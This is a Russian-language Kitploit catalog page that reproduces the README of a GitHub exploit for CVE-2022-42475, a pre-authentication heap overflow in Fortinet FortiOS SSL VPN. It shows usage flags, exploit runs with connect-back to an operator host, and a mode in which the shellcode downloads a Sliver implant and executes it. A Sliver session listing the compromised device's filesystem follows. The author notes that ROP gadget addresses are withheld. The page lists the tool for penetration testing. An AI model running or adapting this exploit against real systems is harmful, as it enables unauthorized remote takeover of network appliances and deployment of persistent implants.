Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-42475 — Эксплойт для CVE-2022-42475, переполнение кучи до аутентификации в сетевых продуктах Fortinet. | Kitploit
Инструменты/GitHubGitHub/0xhaggis/cve-2022-42475
Анализ уязвимостейЭксплуатацияRed TeamingИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHub0xhaggis/cve-2022-42475

CVE-2022-42475

Эксплойт для CVE-2022-42475, переполнение кучи до аутентификации в сетевых продуктах Fortinet.

Репозиторий
3313 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-42475

Предыстория

Это эксплойт для статьи в блоге: https://bishopfox.com/blog/exploit-cve-2022-42475

Урезанная версия

Эта версия эксплойта не будет работать без того, чтобы вы, хакер, предоставили необходимые адреса памяти для ROP-гаджетов и т.д. Работа по определению этих данных является конфиденциальной и собственностью Bishop Fox, и я не буду (не могу) публиковать её вместе с этим эксплойтом. Надеюсь, вы понимаете!

Режимы работы

  • Только проверка, без эксплойта. Определяет, уязвима ли система. Нет полезной нагрузки, нет шелл-кода.
  • Эксплойт, но только верификация. Запускает безвредный "пинг" с обратным подключением для проверки возможности эксплуатации цели.
  • Эксплойт с бинарным стейджером обратного подключения. Шелл-код подключается обратно к эксплойту, загружает зашифрованный бинарный файл, предоставленный оператором (обычно https://github.com/BishopFox/Sliver), расшифровывает его, а затем вызывает execve(binary_file).

Примечание: На данный момент режим "только проверка" работает со всеми известными версиями FortiOS. Однако эксплойты работают только против FortiOS 6.0.4 на оборудовании 100D. Я больше не работаю в BF и поэтому не могу опубликовать расширенный эксплойт, поддерживающий, например, 18 тыс. целей.

Требования

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

Только проверка

Это не будет пытаться использовать уязвимость, а вызовет её как сбой (демон удалённого SSL VPN перезапускается автоматически и мгновенно). Сбой определяется эвристически и сообщается оператору.

Запуск с флагом проверки -v:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Эксплойт, но с верификацией (функция доступна только для FortiOS 6.0.4 на устройствах 100D в настоящее время)

Это запускает уязвимость, разворачивает ROP-цепочку и переходит к шелл-коду. Шелл-код безвреден и работает следующим образом:

  • Эксплойт подключается к цели и запускает уязвимость для выполнения шелл-кода
  • Шелл-код подключается обратно к IP:порту оператора
  • Шелл-код отправляет один байт "приветствия" эксплойту: 0xbf
  • Эксплойт доставляет шелл-коду небольшой зашифрованный тестовый payload (AES-ключ случайный при каждом запуске)
  • Шелл-код расшифровывает payload и сохраняет его в /tmp/x на устройстве FortiGate
  • Шелл-код отправляет ещё один байт 0xbf эксплойту, если расшифровка payload прошла успешно
  • Эксплойт считывает байт и подтверждает выполнение кода.

Флаги:

root@kitploit:~
-t           целевой хост/IP
-p           целевой порт
-e           режим эксплойта
-c           режим только обратного подключения
-H и -P      IP:порт оператора (обязательно)
-s           версия ПО FortiOS (обязательно)
-m           модель оборудования с FortiOS
-d           включить отладку

Пример, где мы выбираем и версию ПО 6.0.4, и модель устройства 100D:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Если опустить -m для выбора модели оборудования, эксплойт будет перебирать все цели по оборудованию для указанной версии ПО.

Глобальная термоядерная война

  • Оператор указывает путь к бинарному файлу импланта Sliver (на базе Linux)
  • Эксплойт подключается к цели и запускает уязвимость для выполнения шелл-кода
  • Шелл-код подключается обратно к IP:порту оператора
  • Шелл-код отправляет один байт "приветствия" эксплойту: 0xbf
  • Эксплойт шифрует бинарник Sliver и отправляет его шелл-коду
  • Шелл-код расшифровывает бинарник и сохраняет его в /tmp/x
  • Шелл-код отправляет байт "успеха" 0xbf эксплойту
  • Эксплойт считывает байт и подтверждает выполнение кода
  • Шелл-код вызывает execve("/tmp/x")
  • ???
  • Профит!

Флаги:

root@kitploit:~
-t           целевой хост/IP
-p           целевой порт
-e           режим эксплойта
-f filename  путь к бинарнику для execve на цели
-H и -P      IP:порт оператора для обратного подключения (обязательно)
-s           версия ПО FortiOS (обязательно)
-m           модель оборудования с FortiOS
-d           включить отладку

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Эксплойт:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

И обратно в Sliver:

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Обратите внимание, что Sliver возвращает <err>, потому что FortiOS — это как бы местами Linux, и он не всегда работает так, как вы ожидаете. Это проблема FortiOS, а не Sliver.

Скоро появятся новые версии

Я больше не работаю в Bishop Fox, так что вам нужно следить за обновлениями на GitHub BF.

Скачать инструмент